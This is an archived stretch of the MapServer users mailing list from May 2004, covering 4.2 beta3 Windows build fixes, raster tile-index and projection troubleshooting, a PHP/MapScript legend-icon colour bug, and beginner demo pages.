(Kralidis,Tom [Burlington]) Date: Tue, 18 May 2004 10:34:45 -0400 Subject: [Mapserver-users] MapServer 4.2 beta3 Message-ID: <2576812186CDD411BF1500508B6DCE9507366DA7@ECNWRI1.ontario.int.ec.gc.ca> > -----Original Message----- > From: Daniel Morissette [mailto:dmorissette at dmsolutions.ca] > Sent: Tuesday, May 18, 2004 10:28 AM > To: Kralidis,Tom [Burlington] > Cc: mapserver-users > Subject: Re: [Mapserver-users] MapServer 4.2 beta3 > > > Kralidis,Tom [Burlington] wrote: > > > > > > Mapserv is looking for xerces-c_1_7_0.dll, which doesn't exist in > > above zipfile. > > > > Um... I thought we had fixed that one. We'll check that. > You can get xerces-c_1_7_0.dll at: http://xml.apache.org/dist/xerces-c/stable/archives/Xerces-C_1_7_0/xerces-c1 _7_0-win32.zip I downloaded it and plopped into cgi-bin/ and it worked. > > > >>And for those using MS4W (http://maptools.org/ms4w/), an > >>update package > >>for MS4W is available at > >>http://maptools.org/dl/mapserver_ms4w-4.2b3-20040517.zip > >> > > > > > > This URL gives me a 404. > > > > Duh! The correct URL is > http://maptools.org/dl/ms4w/mapserver_ms4w-4.2b3-20040517.zip > > It may suffer from the same problem as above though. > It does. Rectified with fix above. ..Tom > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > From Tom.Kralidis at ec.gc.ca Tue May 18 07:48:03 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Tue, 18 May 2004 10:48:03 -0400 Subject: [Mapserver-users] MapServer 4.2 beta3 Message-ID: <2576812186CDD411BF1500508B6DCE9507366DAA@ECNWRI1.ontario.int.ec.gc.ca> Can you include support for PostGIS for both zipfiles? Thx ..Tom > -----Original Message----- > From: Kralidis,Tom [Burlington] > Sent: Tuesday, May 18, 2004 10:35 AM > To: 'Daniel Morissette' > Cc: mapserver-users > Subject: RE: [Mapserver-users] MapServer 4.2 beta3 > > > > > -----Original Message----- > > From: Daniel Morissette [mailto:dmorissette at dmsolutions.ca] > > Sent: Tuesday, May 18, 2004 10:28 AM > > To: Kralidis,Tom [Burlington] > > Cc: mapserver-users > > Subject: Re: [Mapserver-users] MapServer 4.2 beta3 > > > > > > Kralidis,Tom [Burlington] wrote: > > > > > > > > > Mapserv is looking for xerces-c_1_7_0.dll, which doesn't exist in > > > above zipfile. > > > > > > > Um... I thought we had fixed that one. We'll check that. > > > > > You can get xerces-c_1_7_0.dll at: > http://xml.apache.org/dist/xerces-c/stable/archives/Xerces-C_1_7_0/xerces-c1 _7_0-win32.zip I downloaded it and plopped into cgi-bin/ and it worked. > > > >>And for those using MS4W (http://maptools.org/ms4w/), an update > >>package for MS4W is available at > >>http://maptools.org/dl/mapserver_ms4w-4.2b3-20040517.zip > >> > > > > > > This URL gives me a 404. > > > > Duh! The correct URL is > http://maptools.org/dl/ms4w/mapserver_ms4w-4.2b3-20040517.zip > > It may suffer from the same problem as above though. > It does. Rectified with fix above. ..Tom > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > From thelen at ccgis.de Tue May 18 07:55:10 2004 From: thelen at ccgis.de (Benjamin Thelen) Date: Tue, 18 May 2004 16:55:10 +0200 Subject: [Mapserver-users] No map with Windows binary ms 4.0.2 and 4.2! Message-ID: <40AA23CE.8050003@ccgis.de> Hello, Every project which is running fine on FreeBSD/ms 4.0.2(!) or Windows/ms 4.0.1 does not run on Windows/ms 4.0.2, doesn't matter if IIS or Apache is used. Apache returns an "Internal Server Error" and a "Premature End of Script Headers" can be found in the httpd-error.log. I tested mapserver 4.0.1 and 4.0.2 on Windows 2003 Server/Windows 2000 Server and Windows XP with Apache and IIS with the same mapfile and data. 4.0.1 worked fine and 4.0.2 not. Finally I tested the same data - of course a slightly corrected mapfile - on FreeBSD with mapserver 4.0.2 successfully. An example map-file which runs fine on FreeBSD/ms 4.0.2 and - addapted to Windows - on Windows/ms 4.0.1 is added below! Thanks, Benjamin --------------------------------- CCGIS GbR - Bonn http://www.ccgis.de Siemensstra?e 8 53121 Bonn Germany Tel: ++49 (0) 228 90826 15 Fax: ++49 (0) 228 90826 11 MAP NAME "germany_demo_shape" STATUS ON EXTENT 2886610 5230448 4285190 6130010 #5.88 46.6213 15 55.7187 PROJECTION "init=epsg:31463" END SIZE 650 420 SHAPEPATH "/data/umn/germany_demo/shapes/" SYMBOLSET "/data/umn/germany_demo/symbols/symbols_germany_demo.sym" FONTSET "/data/umn/germany_demo/fonts/fonts.list" IMAGECOLOR 255 255 255 UNITS METERS #Units mapcoordinates; f?r scale/scalebar Berechnungen RESOLUTION 72 #Pixel/inch f?r Output (scalecomputation; def 72) #IMAGETYPE PNG #OUTPUTFORMAT # NAME png # DRIVER "GD/PNG" # MIMETYPE "image/png" # EXTENSION PNG # IMAGEMODE PC256 #RGBA #oder RGB (f?r transparent off) #END WEB MINSCALE 1 MAXSCALE 1000000000 IMAGEPATH "/data/umn/umn-www/sessions/" IMAGEURL "http://wms1.ccgis.de/umn/sessions/" LOG "/data/umn/log/umn.log" METADATA "WMS_ACCESSCONSTRAINTS" "none" "WMS_SRS" "epsg:31463" "WMS_ONLINERESOURCE" "http://wms1.ccgis.de/cgi-bin/mapserv?map=/data/umn/germany_demo/germany_demo_shape.map" "WMS_TITLE" "Germany Demo with Shapes" "WMS_FEATURE_INFO_MIME_TYPE" "text/html" "WMS_ABSTRACT" "germany_demo with shapes" END END #--------------------------------------------------------------- LAYER NAME "Topographie" #GROUP "Topographie" STATUS ON DATA "topo_pl" #"TOPO_PL" TYPE POLYGON PROJECTION "init=epsg:4326" END CLASSITEM "hypytype" #"HYPYTYPE" SIZEUNITS PIXELS #Units SIZE Value CLASS Objekt METADATA "WMS_SRS" "epsg:4326" "WMS_TITLE" "Topographie" "WMS_GROUP_TITLE" "Topographie" "WMS_FEATURE_INFO_MIME_TYPE" "text/html" END CLASS NAME "K?ste" EXPRESSION /./ STYLE SYMBOL 0 COLOR 204 253 161 END END END END From rsanabria at prosis.com Tue May 18 08:11:25 2004 From: rsanabria at prosis.com (=?ISO-8859-1?Q?Ricardo_Sanabria_Mart=EDnez?=) Date: Tue, 18 May 2004 10:11:25 -0500 Subject: [Mapserver-users] Sde binary for windows In-Reply-To: <6.0.1.1.2.20040518092108.01ca7468@hobu.mail.iastate.edu> References: <40AA1812.6070308@prosis.com> <6.0.1.1.2.20040518092108.01ca7468@hobu.mail.iastate.edu> Message-ID: <40AA279D.9060104@prosis.com> I believed that, but I could not :( I followed all steps but it doesn't work! Can somebody help me? Thanks Ricardo Howard Butler wrote: > sorry. I see you asked the list ;) > > good luck finding one. it shouldn't be too difficult to compile on > your own, however. > > At 09:15 AM 5/18/2004, you wrote: > >> Please, I need a sde binary for windows 2000 or XP. >> >> Thanks >> >> -- >> Ricardo Sanabria Mart?nez >> Ingeniero de Soporte SIG >> PROCALCULO PROSIS >> Tel 6357272 Fax 6357260 >> >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > -- Ricardo Sanabria Mart?nez Ingeniero de Soporte SIG PROCALCULO PROSIS Tel 6357272 Fax 6357260 From TMitchell at lignum.com Tue May 18 08:19:02 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 18 May 2004 08:19:02 -0700 Subject: [Mapserver-users] Large Raster files In-Reply-To: <40A9EB35.8040100@twcny.rr.com> Message-ID: You still need to setup PROJECTION for your ortho layers so that Mapserver knows what projection they are in. Have you done that? mapserver-users-admin at lists.gis.umn.edu wrote on 05/18/2004 03:53:41 AM: > I have a question regarding the relationship between PROJECTION and > EXTENT for the display of layers in the mapfile (mapserve src 4.02 and > the new 4.2beta) I have managed to get a custom region working using the > mapderve cgi tutorial files as a start. I have successfully displayed > and tiled natural color ortho tiffs in EPSG:32115 (NY East state plane), > and I have succeeded with a UTM location that displays shape files in > EPSG:26918 (UTM 18N NAD83 GRS80). > > I have downloaded 302 world-file-referenced tiffs with the 1:24000 scale > topo info for NYS. These are in EPSG:26918 (UTM 18NnAD83 GRS80) and the > extents, coordinate system and mapping have been verified in my GIS > program (grass 5.03). These files will not display, neither as single > maps nor as a tiled map, even though the shapefile for the TILEINDEX > (with the exact same coord parameters) displays just fine (I even got a > county line shapefile map in latlong coordinates to plot properly on the > UTM basemap). No errors in the logs. I used .tfw and .wld and internal > GeoTiff (gdal_translated) files all with the same null result. > > I have searched and read the posts on related problems, and it seems I > have considered al the possibilities listed. I tried a gdalwarp into > state plane (tiff output) coordinates to see if I could "TRANSFORM" it > onto the base EPSG:26918 map, but failed to get anything more than the > blank map frame. > > Is there something about UTM and EPSG I am missing, at least as they > concern mapserver? > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rriley at rolandoriley.com Tue May 18 08:33:56 2004 From: rriley at rolandoriley.com (Rolando Riley) Date: Tue, 18 May 2004 10:33:56 -0500 Subject: [Mapserver-users] Map demo Message-ID: http://mapserver.gis.umn.edu/demo_readme.html I can't find the map demo on this URL. Can anybody point me to the place where this demo actually is? R. Riley From TMitchell at lignum.com Tue May 18 09:10:38 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 18 May 2004 09:10:38 -0700 Subject: [Mapserver-users] Map demo In-Reply-To: Message-ID: > http://mapserver.gis.umn.edu/demo_readme.html > > > I can't find the map demo on this URL. Can anybody point me to the > place where this demo actually is? Probably this one: http://cvs.gis.umn.edu/dist/itasca3.5.tar.gz >From line "mapserver-3.6.6.tar.gz: source code/demo." at http://mapserver.gis.umn.edu/dload.html From phatsbbnlist at twcny.rr.com Tue May 18 09:49:41 2004 From: phatsbbnlist at twcny.rr.com (phatsbbnlist at twcny.rr.com) Date: Tue, 18 May 2004 12:49:41 -0400 Subject: [Mapserver-users] Large Raster files Message-ID: <7a23297a0312.7a03127a2329@nyroc.rr.com> Yes, and I left it out a few times on relevant image-coordinate system elements to see if it mattered (and it didn't unless they were in a different projection). I used gdal_translate to convert to state plane, verified the internal world info in the geotiff that resulted, converted to png and added a .wld file and tested all these in a map file with a single layer and their appropriate projections and extents. Nothing at all appears for rasters in any of these cases, yet the shape file layers continue to appear exactly as they should. The geotiffs from NYS in their ortho image program seem to work fine (state plane full color and infrared images at 1 and 2 foot resolution). The samples with tutorial work fine. I suspect a subtlety that I don't know about in the UTM files (and this constitutes a great deal of ignorance), or a problem in my association with EPSG:26918 with UTM NAD83 GRS80 18N ----- Original Message ----- From: Tyler Mitchell Date: Tuesday, May 18, 2004 11:19 am Subject: Re: [Mapserver-users] Large Raster files > You still need to setup PROJECTION for your ortho layers so that > Mapserver > knows what projection they are in. Have you done that? > > mapserver-users-admin at lists.gis.umn.edu wrote on 05/18/2004 > 03:53:41 AM: > > > I have a question regarding the relationship between PROJECTION > and > > EXTENT for the display of layers in the mapfile (mapserve src > 4.02 and > > the new 4.2beta) I have managed to get a custom region working > using the > > > mapderve cgi tutorial files as a start. I have successfully > displayed > > and tiled natural color ortho tiffs in EPSG:32115 (NY East state > plane), > > > and I have succeeded with a UTM location that displays shape > files in > > EPSG:26918 (UTM 18N NAD83 GRS80). > > > > I have downloaded 302 world-file-referenced tiffs with the > 1:24000 scale > > > topo info for NYS. These are in EPSG:26918 (UTM 18NnAD83 GRS80) > and the > > > extents, coordinate system and mapping have been verified in my > GIS > > program (grass 5.03). These files will not display, neither as > single > > maps nor as a tiled map, even though the shapefile for the > TILEINDEX > > (with the exact same coord parameters) displays just fine (I > even got a > > county line shapefile map in latlong coordinates to plot > properly on the > > > UTM basemap). No errors in the logs. I used .tfw and .wld and > internal > > GeoTiff (gdal_translated) files all with the same null result. > > > > I have searched and read the posts on related problems, and it > seems I > > have considered al the possibilities listed. I tried a gdalwarp > into > > state plane (tiff output) coordinates to see if I could > "TRANSFORM" it > > onto the base EPSG:26918 map, but failed to get anything more > than the > > blank map frame. > > > > Is there something about UTM and EPSG I am missing, at least as > they > > concern mapserver? > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From blaine_hack1 at yahoo.com Tue May 18 09:54:41 2004 From: blaine_hack1 at yahoo.com (Blaine Hackett) Date: Tue, 18 May 2004 09:54:41 -0700 (PDT) Subject: [Mapserver-users] PHP/MapScript and plotting xy coordinates Message-ID: <20040518165441.85802.qmail@web41112.mail.yahoo.com> All I am trying to plot xy points from a GPS that are stored in SQL Server to my map using PHP/MapScript. There have been several posts asking about this but I have yet to find any information about how to do it. It would be great if someone could lend an example of how to do this or point me to some documentation so I can figure it out myself. It does not seem like it would be that hard but since I am new to using PHP/MapScript I am having a devil of a time figuring it out. Thanks Blaine __________________________________ Do you Yahoo!? SBC Yahoo! - Internet access at a great low price. http://promo.yahoo.com/sbc/ From hal at mobilegeographics.com Tue May 18 09:55:46 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Tue, 18 May 2004 09:55:46 -0700 Subject: [Mapserver-users] some new demos Message-ID: I've posted some very simple Mapserver demos at http://www.mobilegeographics.com/mapserver/ I'm calling these "recipes" because each one is written to show just one aspect of Mapserver. One of them doesn't even use data layers. They're not meant for old hands or for technology demonstrations. Instead, they're for people just starting out with Mapserver, or for testing a new installation. I have a few more recipes in the works, but in the meantime I hope these are helpful to some people. Thanks to Tyler Mitchell for his help in developing them. Hal From spencer at dmsolutions.ca Tue May 18 09:59:14 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Tue, 18 May 2004 12:59:14 -0400 Subject: [Mapserver-users] MapServer 4.2 beta3 In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366DA3@ECNWRI1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366DA3@ECNWRI1.ontario.int.ec.gc.ca> Message-ID: <40AA40E2.5070802@magma.ca> Opps, thanks for pointing these issues out Tom. I've recompiled the mapserv executables against the correct version of xerces and added postgis input support, updated the zip files, and reposted them under the identical name (the corrected URL for the ms4w package is below too). http://maptools.org/dl/mapserver-4.2b3-win32-php4.3.4.zip http://maptools.org/dl/ms4w/mapserver_ms4w-4.2b3-20040517.zip Cheers, Paul PS pls bear with me, this is the first time I've had to fill Assefa's shoes ... he has big feet! :) Kralidis,Tom [Burlington] wrote: > >>-----Original Message----- >>From: Daniel Morissette [mailto:dmorissette at dmsolutions.ca] >>Sent: Tuesday, May 18, 2004 9:21 AM >>To: mapserver-users >>Subject: [Mapserver-users] MapServer 4.2 beta3 >> >> >>MapServer 4.2 beta3 has been posted to the download page of >>the website. >>The list of fixes in this new beta is at the end of this message. >> >>For Windows users, a new build is available at >>http://maptools.org/dl/mapserver-4.2b3-win32-php4.3.4.zip >> > > > Mapserv is looking for xerces-c_1_7_0.dll, which doesn't exist in above > zipfile. > > >>And for those using MS4W (http://maptools.org/ms4w/), an >>update package >>for MS4W is available at >>http://maptools.org/dl/mapserver_ms4w-4.2b3-20040517.zip >> > > > This URL gives me a 404. > > >>Once again, we invite you to test this new beta and report >>any critical >>issue... and we hope (again!) that this could be the last beta before >>the release. >> >>Daniel >>------------------------------------------------------------ >> Daniel Morissette dmorissette at dmsolutions.ca >> DM Solutions Group http://www.dmsolutions.ca/ >>------------------------------------------------------------ >> >> >>Version 4.2-beta3 (2004-05-14) >>------------------------------ >> >>- Fixed another write past end of buffer in INIMAGE WMS >>errors (bug 644) >> >>- Removed "xbasewohoo" debug output when using JOINs and fixed a few >> error messages related to MySQL joins (bug 652) >> >>- No more Python-stopping but otherwise benign errors raised from >> msDrawWMSLayer() (bug 650). >> >>- Finished prototyping all MapServer functions used by SWIG-Mapscript >> and added 'void' to prototypes of no-arg functions, eliminating all >> but two SWIG-Mapscript build warnings (bug 658). >> >>- Fixed mapwcs.c so that gdal.h and cpl_error.h are not included if >> USE_WCS_SVR is not enabled ... which is never is in 4.2. >> >>- msBuildPath() no longer used with temporary filenames when >>saving images >> via GDAL. >> >>- Bug 493: fix the raster cracking fix. The last fix >>introduced a serious >> heap corruption / errant pointer problem in some render cases. >> >>- Resolved issue with pens and dynamically drawing points (bug 663). >> >>- Removed unused metadata gml_uri in WFS code (Bug 527) >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From dmorissette at dmsolutions.ca Tue May 18 10:24:14 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 18 May 2004 13:24:14 -0400 Subject: [Mapserver-users] PHP/MapScript and plotting xy coordinates In-Reply-To: <20040518165441.85802.qmail@web41112.mail.yahoo.com> References: <20040518165441.85802.qmail@web41112.mail.yahoo.com> Message-ID: <40AA46BE.8070403@dmsolutions.ca> Blaine Hackett wrote: > All > > I am trying to plot xy points from a GPS that are > stored in SQL Server to my map using PHP/MapScript. > > There have been several posts asking about this but I > have yet to find any information about how to do it. > It would be great if someone could lend an example of > how to do this or point me to some documentation so I > can figure it out myself. > Have a look at OGR's Virtual Spatial Data driver http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From casej at ccom.unh.edu Tue May 18 10:33:43 2004 From: casej at ccom.unh.edu (James Case) Date: Tue, 18 May 2004 13:33:43 -0400 Subject: [Mapserver-users] PHP4 - Is it possible??? In-Reply-To: <40A948D5.2070708@cttmar.univali.br> Message-ID: <200405181733.i4IHXl3O003374@ccom.unh.edu> I solved the installation problem. The configure script seems to be sensitive to order of options. Now working on producing a map... -Jim -----Original Message----- From: qoelheX [mailto:qoelhex at cttmar.univali.br] Sent: Monday, May 17, 2004 7:21 PM To: James Case Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] PHP4 - Is it possible??? James Case escreveu: > I am running a Trustix 2.1 Linux server, PHP 4.3.4, MapServer 4.2b1. > > Can PHP/MapScript be compiled? I have tried all permutations and > exhausted all help/readme docs. > > ./configure -with-php=/usr/include/php > > Make > > Breaks at: > > Php_mapscript.c:12963 > > Any volunteers? > > Can you show more details about the error? by qoelheX From gfmb at tutopia.com Tue May 18 04:35:49 2004 From: gfmb at tutopia.com (Guillermo Felipe) Date: Tue, 18 May 2004 13:35:49 +0200 Subject: [Mapserver-users] extrange problem with colors and size in createLegendIcon Message-ID: <200405181335.49951.gfmb@tutopia.com> Hello Everybody, I got the same legend Icon for two different line layers with different colors but with the SAME symbol and size, for example: LAYER 1 with COLOR 0 0 255, SYMBOL "circ" and SIZE 2 gives me an icon with color 0 0 255 LAYER 2 with COLOR 255 0 0, SYMBOL "circ" and SIZE 2 gives me an icon with color 0 0 255 too!!!! (With different size betwen layers the colors are OK) I've been tried with different options, but I didn't find which can be the source of the problem. Is it a bug o am I doing something wrong? I simplified my code to show the problem, please try to reproduce and tell me:
draw();
$url = $img->saveWebImage(MS_PNG, 1, 1, 0);

$layer1=$map->getlayerbyname("1");
$layer2=$map->getlayerbyname("2");

$class1=$layer1->getclass(0);
$class2=$layer2->getclass(0);

$img1 = $class1->createLegendIcon($map->keysizex, $map->keysizey);
$img2 = $class2->createLegendIcon($map->keysizex, $map->keysizey);

$img1->saveImage("ima1.png", MS_PNG, 0, 0, 0);
$img2->saveImage("ima2.png", MS_PNG, 0, 0, 0);

print("Image 1: \n");
print("Image 2: \n")

?>
map.map file: MAP SYMBOLSET "sim.sim" EXTENT 924865 943176 947242 965553 IMAGECOLOR 255 255 255 IMAGETYPE png SIZE 360 360 STATUS ON UNITS METERS NAME "test" LEGEND KEYSIZE 18 12 END LAYER NAME "1" TYPE line DATA line1 #please put any line shape CLASS COLOR 0 0 255 #blue SYMBOL "circ" SIZE 2 END END LAYER NAME "2" TYPE line DATA line1 CLASS COLOR 255 0 0 #red SYMBOL "circ" SIZE 2 END END END sim.sim file: SYMBOL NAME "circ" TYPE ellipse POINTS 1 1 END FILLED TRUE END Thank you, Guillermo Felipe Bogot?. Colombia From casej at ccom.unh.edu Tue May 18 12:14:41 2004 From: casej at ccom.unh.edu (James Case) Date: Tue, 18 May 2004 15:14:41 -0400 Subject: [Mapserver-users] PHP4 - Is it possible??? In-Reply-To: Message-ID: <200405181914.i4IJEk3O005513@ccom.unh.edu> Very nice! My browser won't view the wbmp created. How do I change the $map->imagetype default output format? -noob Jim -----Original Message----- From: Hal Mueller [mailto:hal at mobilegeographics.com] Sent: Tuesday, May 18, 2004 2:08 PM To: James Case Subject: RE: [Mapserver-users] PHP4 - Is it possible??? At 13:33 -0400 5/18/04, James Case wrote: >Now working on producing a map... http://www.mobilegeographics.com/mapserver/hello.phtml might be of interest. Hal From warmerdam at pobox.com Tue May 18 10:11:17 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 18 May 2004 13:11:17 -0400 Subject: [Mapserver-users] Large Raster files In-Reply-To: <40A9EB35.8040100@twcny.rr.com> References: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> <40A8C24F.5070508@uva.nl> <200405171652.51021.mweinelt@planiglobe.com> <200405181156.15016.mapserver@meteologica.es> <40A9EB35.8040100@twcny.rr.com> Message-ID: <40AA43B5.7080108@pobox.com> mapguy wrote: > I have a question regarding the relationship between PROJECTION and > EXTENT for the display of layers in the mapfile (mapserve src 4.02 and > the new 4.2beta) I have managed to get a custom region working using the > mapderve cgi tutorial files as a start. I have successfully displayed > and tiled natural color ortho tiffs in EPSG:32115 (NY East state plane), > and I have succeeded with a UTM location that displays shape files in > EPSG:26918 (UTM 18N NAD83 GRS80). > > I have downloaded 302 world-file-referenced tiffs with the 1:24000 scale > topo info for NYS. These are in EPSG:26918 (UTM 18NnAD83 GRS80) and the > extents, coordinate system and mapping have been verified in my GIS > program (grass 5.03). These files will not display, neither as single > maps nor as a tiled map, even though the shapefile for the TILEINDEX > (with the exact same coord parameters) displays just fine (I even got a > county line shapefile map in latlong coordinates to plot properly on the > UTM basemap). No errors in the logs. I used .tfw and .wld and internal > GeoTiff (gdal_translated) files all with the same null result. > > I have searched and read the posts on related problems, and it seems I > have considered al the possibilities listed. I tried a gdalwarp into > state plane (tiff output) coordinates to see if I could "TRANSFORM" it > onto the base EPSG:26918 map, but failed to get anything more than the > blank map frame. > > Is there something about UTM and EPSG I am missing, at least as they > concern mapserver? Mapguy, Common problems in this sort of configuration include: o Path in the tile index is not absolute. They don't have to be absolute, but it can be tricky to use proper relative paths in a web environment. If files are not found, MapServer will often just quietly ignore the fact. o Some sort of mixup with the extents. Are the extents in UTM 18 as well? If the tileindex plots properly this is likely not the problem. o Using a MapServer without appropriate format support. For instance, if you don't have GDAL support you may not be able to display some formats of TIFF. o Getting the wrong driver. Old MapServers (4.0? at least in 3.x) sometimes would use the built-in TIFF driver instead of GDAL. The built-in TIFF driver only suppose a few variations of TIFF file organization. My suggestions for debugging: o Turn on debugging and review debug messages. Set the "DEBUG ON" line in the MAP object, and in the tileindexed raster layer object. You should see at least a few debug messages even if things are working just fine. o Test at the commandline with shp2img program (and debugging enabled). o Turn on GDAL debugging when testing with shp2img by setting the environment variable GDAL_DEBUG to ON. You should see debug messages about each TIFF file that is actually opened. Best regards, ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From dmorissette at dmsolutions.ca Tue May 18 12:36:26 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 18 May 2004 15:36:26 -0400 Subject: [Mapserver-users] extrange problem with colors and size in createLegendIcon In-Reply-To: <200405181335.49951.gfmb@tutopia.com> References: <200405181335.49951.gfmb@tutopia.com> Message-ID: <40AA65BA.8090908@dmsolutions.ca> Guillermo Felipe wrote: > Hello Everybody, > > I got the same legend Icon for two different line layers with different colors > but with the SAME symbol and size, for example: > > LAYER 1 with COLOR 0 0 255, SYMBOL "circ" and SIZE 2 gives me an icon with > color 0 0 255 > > LAYER 2 with COLOR 255 0 0, SYMBOL "circ" and SIZE 2 gives me an icon with > color 0 0 255 too!!!! > > (With different size betwen layers the colors are OK) > This is probably bug 608: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=608 This has been fixed just before 4.2 beta1, so I would recommend that you upgrade to 4.2b3. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From hal at mobilegeographics.com Tue May 18 13:03:30 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Tue, 18 May 2004 13:03:30 -0700 Subject: [Mapserver-users] PHP4 - Is it possible??? In-Reply-To: <200405181914.i4IJEk3O005513@ccom.unh.edu> References: <200405181914.i4IJEk3O005513@ccom.unh.edu> Message-ID: At 15:14 -0400 5/18/04, James Case wrote: >Very nice! My browser won't view the wbmp created. How do I change the >$map->imagetype default output format? > >-noob Jim Uhhhhhhh .... :) On my server it produces PNGs. I haven't explored the OUTPUTFORMAT directive at all. I'm sure that would be the way to fix it but I don't immediately see how. Maybe someone else can suggest something? Especially if there's an accepted "right" way to do this, I would like to hear it. I also don't know why your server is producing WBMP instead of PNG. Hal > http://www.mobilegeographics.com/mapserver/hello.phtml might be of >interest. From phatsbbnlist at twcny.rr.com Tue May 18 13:08:31 2004 From: phatsbbnlist at twcny.rr.com (mapguy) Date: Tue, 18 May 2004 16:08:31 -0400 Subject: [Mapserver-users] Large Raster files References: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> <40A8C24F.5070508@uva.nl> <200405171652.51021.mweinelt@planiglobe.com> <200405181156.15016.mapserver@meteologica.es> <40A9EB35.8040100@twcny.rr.com> <40AA43B5.7080108@pobox.com> Message-ID: <40AA6D3F.1000806@twcny.rr.com> I apologize if this repeats, but my web-based mail is quirky. I have tried all these things and more, and I have arrived at a solution(s). I would like to share it(them) 1) I used a path within the TILEINDEX shapefile entries similar to the relative path for the tif files themselves e.g. if everything is in 'data/raster/' where 'data' is the shapefile path in my map file. I used the command gdaltindex stlawtst.shp raster/*.tif from the data directory and stored everything (.tif, .shp, .dbf,. shx) in the raster directory. The dbf entries for the location field look like "raster/o4994b.tif" etc 2) I eliminated the "epsg:26918" and inserted a PROJECTION block of proj style parameters e.g. "proj=utm" "ellps=GRS80" zone=18" "north" "nodefs" 3) I fixed the single tiff layer name typo (that I missed repeatedly) and so was able to view the single tile sample I had set up as a layer (changed a zero "0" to a vowel o "o") Thanks for the responses! Frank Warmerdam wrote: > mapguy wrote: > >> I have a question regarding the relationship between PROJECTION and >> EXTENT for the display of layers in the mapfile (mapserve src 4.02 >> and the new 4.2beta) I have managed to get a custom region working >> using the mapderve cgi tutorial files as a start. I have successfully >> displayed and tiled natural color ortho tiffs in EPSG:32115 (NY East >> state plane), and I have succeeded with a UTM location that displays >> shape files in EPSG:26918 (UTM 18N NAD83 GRS80). >> >> I have downloaded 302 world-file-referenced tiffs with the 1:24000 >> scale topo info for NYS. These are in EPSG:26918 (UTM 18NnAD83 >> GRS80) and the extents, coordinate system and mapping have been >> verified in my GIS program (grass 5.03). These files will not >> display, neither as single maps nor as a tiled map, even though the >> shapefile for the TILEINDEX (with the exact same coord parameters) >> displays just fine (I even got a county line shapefile map in latlong >> coordinates to plot properly on the UTM basemap). No errors in the >> logs. I used .tfw and .wld and internal GeoTiff (gdal_translated) >> files all with the same null result. >> >> I have searched and read the posts on related problems, and it seems >> I have considered al the possibilities listed. I tried a gdalwarp >> into state plane (tiff output) coordinates to see if I could >> "TRANSFORM" it onto the base EPSG:26918 map, but failed to get >> anything more than the blank map frame. >> >> Is there something about UTM and EPSG I am missing, at least as they >> concern mapserver? > > > Mapguy, > > Common problems in this sort of configuration include: > o Path in the tile index is not absolute. They don't have to be > absolute, but > it can be tricky to use proper relative paths in a web > environment. If files > are not found, MapServer will often just quietly ignore the fact. > > o Some sort of mixup with the extents. Are the extents in UTM 18 as > well? > If the tileindex plots properly this is likely not the problem. > > o Using a MapServer without appropriate format support. For > instance, if you > don't have GDAL support you may not be able to display some formats > of TIFF. > > o Getting the wrong driver. Old MapServers (4.0? at least in 3.x) > sometimes > would use the built-in TIFF driver instead of GDAL. The built-in TIFF > driver only suppose a few variations of TIFF file organization. > > My suggestions for debugging: > o Turn on debugging and review debug messages. Set the "DEBUG ON" line > in the MAP object, and in the tileindexed raster layer object. You > should > see at least a few debug messages even if things are working just > fine. > > o Test at the commandline with shp2img program (and debugging enabled). > > o Turn on GDAL debugging when testing with shp2img by setting the > environment > variable GDAL_DEBUG to ON. You should see debug messages about > each TIFF > file that is actually opened. > > Best regards, > ---------------------------------------+-------------------------------------- > > I set the clouds in motion - turn up | Frank Warmerdam, > warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > 